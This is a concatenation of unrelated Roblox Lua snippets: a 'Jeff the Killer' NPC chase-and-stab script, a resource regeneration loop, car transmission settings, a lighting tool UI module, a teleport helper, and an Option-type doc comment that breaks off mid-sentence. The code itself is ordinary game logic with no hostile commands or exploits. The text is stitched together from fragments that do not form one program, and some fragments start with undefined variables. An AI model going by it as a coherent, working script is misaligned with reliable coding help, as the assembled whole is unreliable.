-- local JeffTheKillerHumanoid; for _,Child in pairs(JeffTheKiller:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then JeffTheKillerHumanoid=Child; end; end; local AttackDebounce=false; local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife"); local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head"); local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart"); local WalkDebounce=false; local Notice=false; local JeffLaughDebounce=false; local MusicDebounce=false; local NoticeDebounce=false; local ChosenMusic; function FindNearestBae() local NoticeDistance=300; local TargetMain; for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then local TargetPart=TargetModel:FindFirstChild("Torso"); local FoundHumanoid; for _,Child in pairs(TargetModel:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then TargetMain=TargetPart; NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude; local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500) if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("Torso")and hit.Parent:FindFirstChild("Head")then if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then Spawn(function() AttackDebounce=true; local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing")); local SwingChoice=math.random(1,2); local HitChoice=math.random(1,3); SwingAnimation:Play(); SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1)); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing"); SwingSound.Pitch=1+(math.random()*0.04); SwingSound:Play(); end; Wait(0.3); if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then FoundHumanoid:TakeDamage(10); if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); end; end; Wait(0.1); AttackDebounce=false; end); end; end; end; end; end; return TargetMain; end; while Wait(0)do local TargetPoint=JeffTheKillerHumanoid.TargetPoint; local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller}) local Jumpable=false; if Blockage then Jumpable=true; if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then local BlockageHumanoid; for _,Child in pairs(Blockage.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then BlockageHumanoid=Child; end; end; if Blockage and Blockage:IsA("Terrain")then local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0))); local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z); if CellMaterial==Enum.CellMaterial.Water then Jumpable=false; end; elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then Jumpable=false; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then JeffTheKillerHumanoid.Jump=true; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then Spawn(function() WalkDebounce=true; local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0)); local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller); if RayTarget then local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone(); JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead; JeffTheKillerHeadFootStepClone:Play(); JeffTheKillerHeadFootStepClone:Destroy(); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then Wait(0.5); elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then Wait(0.2); end end; WalkDebounce=false; end); end; local MainTarget=FindNearestBae(); local FoundHumanoid; if MainTarget then for _,Child in pairs(MainTarget.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then JeffTheKillerHumanoid.Jump=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then if not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; end; end; if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then local MusicChoice=math.random(1,2); if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1"); elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2"); end; if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then ChosenMusic.Volume=0.5; ChosenMusic:Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then if not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; end; end; if not MainTarget and not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; if not MainTarget and not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; if MainTarget then Notice=true; if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play(); NoticeDebounce=true; end if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then JeffTheKillerHumanoid.WalkSpeed=9; elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then JeffTheKillerHumanoid.WalkSpeed=0.004; end; JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain")); end; else Notice=false; NoticeDebounce=false; local RandomWalk=math.random(1,150); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then JeffTheKillerHumanoid.WalkSpeed=12; if RandomWalk==1 then JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain")); end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then JeffTheKillerHumanoid.DisplayDistanceType="None"; JeffTheKillerHumanoid.HealthDisplayDistance=0; JeffTheKillerHumanoid.Name="ColdBloodedKiller"; JeffTheKillerHumanoid.NameDisplayDistance=0; JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion"; JeffTheKillerHumanoid.AutoJumpEnabled=true; JeffTheKillerHumanoid.AutoRotate=true; JeffTheKillerHumanoid.MaxHealth=50; JeffTheKillerHumanoid.JumpPower=60; JeffTheKillerHumanoid.MaxSlopeAngle=89.9; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then JeffTheKillerHumanoid.AutoJumpEnabled=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then JeffTheKillerHumanoid.AutoRotate=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then JeffTheKillerHumanoid.PlatformStand=false; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then JeffTheKillerHumanoid.Sit=false; end; end;
--[[ Creates a point of interest at specified position, with specified weight. Will continue to exist until the callback function returns false ]]
function MonsterManager.createInterestWhileTrue(position, weight, callback) local entry = {position = position, weight = weight} table.insert(interests, entry) coroutine.wrap( function() while callback() do wait() end interests = TableUtils.without(interests, entry) MonsterManager.updateMonsterInterests() end )() MonsterManager.updateMonsterInterests() end
--player joins
game.Players.PlayerAdded:connect(function(np) --wait for load, make and init value repeat wait() until np.Character or np.Parent ~= game.Players local resources = Instance.new("IntConstrainedValue",np) resources.MaxValue = max resources.Value = def resources.Name = "Resources" --regen over time while np.Parent == game.Players and wait(sp) do if resources.Value < max then --do not exceed max resources.Value = resources.Value + amt end end end)
--[[Transmission]]
Tune.TransModes = {"Auto"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 2.65 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 0.5 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 0.350 , -- Reverse, Neutral, and 1st gear are required } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--[[ Packs a number of arguments into a table and returns its length. Used to cajole varargs without dropping sparse values. ]]
local function pack(...) local len = select("#", ...) return len, { ... } end
---- ----
if hit.Parent:findFirstChild("Humanoid") ~= nil then local target1 = "RightUpperArm" local target2 = "RightUpperArm2" if hit.Parent:findFirstChild(target2) == nil then local g = script.Parent.Parent[target2]:clone() g.Parent = hit.Parent local C = g:GetChildren() for i=1, #C do if C[i].className == "UnionOperation" or C[i].className =="Part" or C[i].className == "WedgePart" or C[i].className == "MeshPart" then local W = Instance.new("Weld") W.Part0 = g.Middle W.Part1 = C[i] local CJ = CFrame.new(g.Middle.Position) local C0 = g.Middle.CFrame:inverse()*CJ local C1 = C[i].CFrame:inverse()*CJ W.C0 = C0 W.C1 = C1 W.Parent = g.Middle end local Y = Instance.new("Weld") Y.Part0 = hit.Parent[target1] Y.Part1 = g.Middle Y.C0 = CFrame.new(0.26, 0, 0) Y.Parent = Y.Part0 end local h = g:GetChildren() for i = 1, # h do h[i].Anchored = false h[i].CanCollide = false end end end
-- List of creatable light types
local LightTypes = { 'SpotLight', 'PointLight', 'SurfaceLight' }; function OpenLightOptions(LightType) -- Opens the settings UI for the given light type -- Get the UI local UI = LightingTool.UI[LightType]; local UITemplate = Core.Tool.Interfaces.BTLightingToolGUI[LightType]; -- Close up all light option UIs CloseLightOptions(LightType); -- Calculate how much to expand this options UI by local HeightExpansion = UDim2.new(0, 0, 0, UITemplate.Options.Size.Y.Offset); -- Start the options UI size from 0 UI.Options.Size = UDim2.new(UI.Options.Size.X.Scale, UI.Options.Size.X.Offset, UI.Options.Size.Y.Scale, 0); -- Allow the options UI to be seen UI.ClipsDescendants = false; -- Perform the options UI resize animation UI.Options:TweenSize( UITemplate.Options.Size + HeightExpansion, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true, function () -- Allow visibility of overflowing UIs within the options UI UI.Options.ClipsDescendants = false; end ); -- Expand the main UI to accommodate the expanded options UI LightingTool.UI:TweenSize( Core.Tool.Interfaces.BTLightingToolGUI.Size + HeightExpansion, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true ); -- Push any UIs below this one downwards local LightTypeIndex = Support.FindTableOccurrence(LightTypes, LightType); for LightTypeIndex = LightTypeIndex + 1, #LightTypes do -- Get the UI local LightType = LightTypes[LightTypeIndex]; local UI = LightingTool.UI[LightType]; -- Perform the position animation UI:TweenPosition( UDim2.new( UI.Position.X.Scale, UI.Position.X.Offset, UI.Position.Y.Scale, 30 + 30 * (LightTypeIndex - 1) + HeightExpansion.Y.Offset ), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true ); end; -- Enable surface setting by clicking EnableSurfaceClickSelection(LightType); end; function CloseLightOptions(Exception) -- Closes all light options, except the one for the given light type -- Go through each light type for LightTypeIndex, LightType in pairs(LightTypes) do -- Get the UI for each light type local UI = LightingTool.UI[LightType]; local UITemplate = Core.Tool.Interfaces.BTLightingToolGUI[LightType]; -- Remember the initial size for each options UI local InitialSize = UITemplate.Options.Size; -- Move each light type UI to its starting position UI:TweenPosition( UDim2.new( UI.Position.X.Scale, UI.Position.X.Offset, UI.Position.Y.Scale, 30 + 30 * (LightTypeIndex - 1) ), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true ); -- Make sure to not resize the exempt light type UI if not Exception or Exception and LightType ~= Exception then -- Allow the options UI to be resized UI.Options.ClipsDescendants = true; -- Perform the resize animation to close up UI.Options:TweenSize( UDim2.new(UI.Options.Size.X.Scale, UI.Options.Size.X.Offset, UI.Options.Size.Y.Scale, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true, function () -- Hide the option UI UI.ClipsDescendants = true; -- Set the options UI's size to its initial size (for reexpansion) UI.Options.Size = InitialSize; end ); end; end; -- Contract the main UI if no option UIs are being opened if not Exception then LightingTool.UI:TweenSize( Core.Tool.Interfaces.BTLightingToolGUI.Size, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true ); end; end; function UpdateUI() -- Updates information on the UI -- Make sure the UI's on if not LightingTool.UI then return; end; -- Go through each light type and update each options UI for _, LightType in pairs(LightTypes) do local Lights = GetLights(LightType); local LightSettingsUI = LightingTool.UI[LightType]; -- Option input references local Options = LightSettingsUI.Options; local RangeInput = Options.RangeOption.Input.TextBox; local BrightnessInput = Options.BrightnessOption.Input.TextBox; local ColorPicker = Options.ColorOption.HSVPicker; local ColorIndicator = Options.ColorOption.Indicator; local ShadowsCheckbox = Options.ShadowsOption.Checkbox; -- Add/remove button references local AddButton = LightSettingsUI.AddButton; local RemoveButton = LightSettingsUI.RemoveButton; -- Hide option UIs for light types not present in the selection if #Lights == 0 and not LightSettingsUI.ClipsDescendants then CloseLightOptions(); end; ------------------------------------------- -- Show and hide "ADD" and "REMOVE" buttons ------------------------------------------- -- If no selected parts have lights if #Lights == 0 then -- Show add button only AddButton.Visible = true; AddButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5, 0, 3); RemoveButton.Visible = false; -- If only some selected parts have lights elseif #Lights < #Selection.Parts then -- Show both add and remove buttons AddButton.Visible = true; AddButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5, 0, 3); RemoveButton.Visible = true; RemoveButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5 - RemoveButton.AbsoluteSize.X - 2, 0, 3); -- If all selected parts have lights elseif #Lights == #Selection.Parts then -- Show remove button RemoveButton.Visible = true; RemoveButton.Position = UDim2.new(1, -RemoveButton.AbsoluteSize.X - 5, 0, 3); AddButton.Visible = false; end; -------------------- -- Update each input -------------------- -- Update the standard inputs UpdateDataInputs { [RangeInput] = Support.Round(Support.IdentifyCommonProperty(Lights, 'Range'), 2) or '*'; [BrightnessInput] = Support.Round(Support.IdentifyCommonProperty(Lights, 'Brightness'), 2) or '*'; }; -- Update type-specific inputs if LightType == 'SpotLight' or LightType == 'SurfaceLight' then -- Get the type-specific inputs local AngleInput = Options.AngleOption.Input.TextBox; local SideDropdown = Core.Cheer(Options.SideOption.Dropdown); -- Update the angle input UpdateDataInputs { [AngleInput] = Support.Round(Support.IdentifyCommonProperty(Lights, 'Angle'), 2) or '*'; }; -- Update the surface dropdown input local Face = Support.IdentifyCommonProperty(Lights, 'Face'); SideDropdown.SetOption(Face and Face.Name or '*'); end; -- Update special color input local Color = Support.IdentifyCommonProperty(Lights, 'Color'); if Color then ColorIndicator.BackgroundColor3 = Color; ColorIndicator.Varies.Text = ''; else ColorIndicator.BackgroundColor3 = Color3.new(222/255, 222/255, 222/255); ColorIndicator.Varies.Text = '*'; end; -- Update the special shadows input local ShadowsEnabled = Support.IdentifyCommonProperty(Lights, 'Shadows'); if ShadowsEnabled == true then ShadowsCheckbox.Image = Core.Assets.CheckedCheckbox; elseif ShadowsEnabled == false then ShadowsCheckbox.Image = Core.Assets.UncheckedCheckbox; elseif ShadowsEnabled == nil then ShadowsCheckbox.Image = Core.Assets.SemicheckedCheckbox; end; end; end; function UpdateDataInputs(Data) -- Updates the data in the given TextBoxes when the user isn't typing in them -- Go through the inputs and data for Input, UpdatedValue in pairs(Data) do -- Makwe sure the user isn't typing into the input if not Input:IsFocused() then -- Set the input's value Input.Text = tostring(UpdatedValue); end; end; end; function AddLights(LightType) -- Prepare the change request for the server local Changes = {}; -- Go through the selection for _, Part in pairs(Selection.Parts) do -- Make sure this part doesn't already have a light if not Support.GetChildOfClass(Part, LightType) then -- Queue a light to be created for this part table.insert(Changes, { Part = Part, LightType = LightType }); end; end; -- Send the change request to the server local Lights = Core.SyncAPI:Invoke('CreateLights', Changes); -- Put together the history record local HistoryRecord = { Lights = Lights; Selection = Selection.Items; Unapply = function (Record) -- Reverts this change -- Select changed parts Selection.Replace(Record.Selection) -- Remove the lights Core.SyncAPI:Invoke('Remove', Record.Lights); end; Apply = function (Record) -- Reapplies this change -- Restore the lights Core.SyncAPI:Invoke('UndoRemove', Record.Lights); -- Select changed parts Selection.Replace(Record.Selection) end; }; -- Register the history record Core.History.Add(HistoryRecord); -- Open the options UI for this light type OpenLightOptions(LightType); end; function RemoveLights(LightType) -- Get all the lights in the selection local Lights = GetLights(LightType); -- Create the history record local HistoryRecord = { Lights = Lights; Selection = Selection.Items; Unapply = function (Record) -- Reverts this change -- Restore the lights Core.SyncAPI:Invoke('UndoRemove', Record.Lights); -- Select changed parts Selection.Replace(Record.Selection) end; Apply = function (Record) -- Reapplies this change -- Select changed parts Selection.Replace(Record.Selection) -- Remove the lights Core.SyncAPI:Invoke('Remove', Record.Lights); end; }; -- Send the removal request Core.SyncAPI:Invoke('Remove', Lights); -- Register the history record Core.History.Add(HistoryRecord); end; function TrackChange() -- Start the record HistoryRecord = { Before = {}; After = {}; Selection = Selection.Items; Unapply = function (Record) -- Reverts this change -- Select the changed parts Selection.Replace(Record.Selection) -- Send the change request Core.SyncAPI:Invoke('SyncLighting', Record.Before); end; Apply = function (Record) -- Applies this change -- Select the changed parts Selection.Replace(Record.Selection) -- Send the change request Core.SyncAPI:Invoke('SyncLighting', Record.After); end; }; end; function RegisterChange() -- Finishes creating the history record and registers it -- Make sure there's an in-progress history record if not HistoryRecord then return; end; -- Send the change to the server Core.SyncAPI:Invoke('SyncLighting', HistoryRecord.After); -- Register the record and clear the staging Core.History.Add(HistoryRecord); HistoryRecord = nil; end; function SetRange(LightType, Range) -- Make sure the given range is valid if not Range then return; end; -- Start a history record TrackChange(); -- Go through each light for _, Light in pairs(GetLights(LightType)) do -- Store the state of the light before modification table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Range = Light.Range }); -- Create the change request for this light table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Range = Range }); end; -- Register the changes RegisterChange(); end; function SetBrightness(LightType, Brightness) -- Make sure the given brightness is valid if not Brightness then return; end; -- Start a history record TrackChange(); -- Go through each light for _, Light in pairs(GetLights(LightType)) do -- Store the state of the light before modification table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Brightness = Light.Brightness }); -- Create the change request for this light table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Brightness = Brightness }); end; -- Register the changes RegisterChange(); end; function SetColor(LightType, Color) -- Make sure the given color is valid if not Color then return; end; -- Start a history record TrackChange(); -- Go through each light for _, Light in pairs(GetLights(LightType)) do -- Store the state of the light before modification table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Color = Light.Color }); -- Create the change request for this light table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Color = Color }); end; -- Register the changes RegisterChange(); end; function ToggleShadows(LightType) -- Determine whether to turn shadows on or off local ShadowsEnabled = not Support.IdentifyCommonProperty(GetLights(LightType), 'Shadows'); -- Start a history record TrackChange(); -- Go through each light for _, Light in pairs(GetLights(LightType)) do -- Store the state of the light before modification table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Shadows = Light.Shadows }); -- Create the change request for this light table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Shadows = ShadowsEnabled }); end; -- Register the changes RegisterChange(); end; function SetSurface(LightType, Face) -- Make sure the given face is valid, and this is an applicable light type if not Face or not (LightType == 'SurfaceLight' or LightType == 'SpotLight') then return; end; -- Start a history record TrackChange(); -- Go through each light for _, Light in pairs(GetLights(LightType)) do -- Store the state of the light before modification table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Face = Light.Face }); -- Create the change request for this light table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Face = Face }); end; -- Register the changes RegisterChange(); end; function SetAngle(LightType, Angle) -- Make sure the given angle is valid if not Angle then return; end; -- Start a history record TrackChange(); -- Go through each light for _, Light in pairs(GetLights(LightType)) do -- Store the state of the light before modification table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Angle = Light.Angle }); -- Create the change request for this light table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Angle = Angle }); end; -- Register the changes RegisterChange(); end;
-- Moves playerToTeleport close to destinationPlayer, if possible. Returns wether or not the operation succeeded
function TeleportToPlayer.teleport(playerToTeleport: Player, destinationPlayer: Player, teleportDistance: number) teleportDistance = teleportDistance or DEFAULT_TELEPORT_DISTANCE local spawnPoint = TeleportToPlayer.getCharacterTeleportPoint(destinationPlayer.Character, teleportDistance) if not spawnPoint or not TeleportToPlayer.validate(playerToTeleport, destinationPlayer, spawnPoint) then return false end local rootPart = playerToTeleport.Character and playerToTeleport.Character:FindFirstChild("HumanoidRootPart") local humanoid = playerToTeleport.Character and playerToTeleport.Character:FindFirstChild("Humanoid") if not rootPart or not humanoid then return false end if humanoid.Sit then -- Un-sits the player, otherwise the seat will be moved as well humanoid.Sit = false humanoid.Seated:Wait() -- Humanoid.Seated fires when the player stands up, after the seat weld is removed end -- Inspired from https://developer.roblox.com/en-us/api-reference/property/Humanoid/HipHeight local rootPartHeight = humanoid.HipHeight + rootPart.Size.Y / 2 if humanoid.RigType == Enum.HumanoidRigType.R6 then local leg = humanoid.Parent:FindFirstChild("Left Leg") or humanoid.Parent:FindFirstChild("Right Leg") if leg then rootPartHeight += leg.Size.Y end end rootPart.CFrame = spawnPoint + Vector3.new(0, rootPartHeight, 0) return true end
--[[ MatchTable { Some: (value: any) -> any None: () -> any } CONSTRUCTORS: Option.Some(anyNonNilValue): Option<any> Option.Wrap(anyValue): Option<any> STATIC FIELDS: Option.None: Option<None> STATIC METHODS: Option.Is(obj): boolean METHODS: opt:Match(): (matches: MatchTable) -> any opt:IsSome(): boolean opt:IsNone(): boolean opt:Unwrap(): any opt:Expect(errMsg: string): any opt:ExpectNone(errMsg: string): void opt:UnwrapOr(default: any): any opt:UnwrapOrElse(default: () -> any): any opt:And(opt2: Option<any>): Option<any> opt:AndThen(predicate: (unwrapped: any) -> Option<any>): Option<any> opt:Or(opt2: Option<any>): Option<any> opt:OrElse(orElseFunc: () -> Option<any>): Option<any> opt:XOr(opt2: Option<any>): Option<any> opt:Contains(value: any): boolean -------------------------------------------------------------------- Options are useful for handling nil-value cases. Any time that an operation might return nil, it is useful to instead return an Option, which will indicate that the value might be nil, and should be explicitly checked before using the value. This will help prevent common bugs caused by 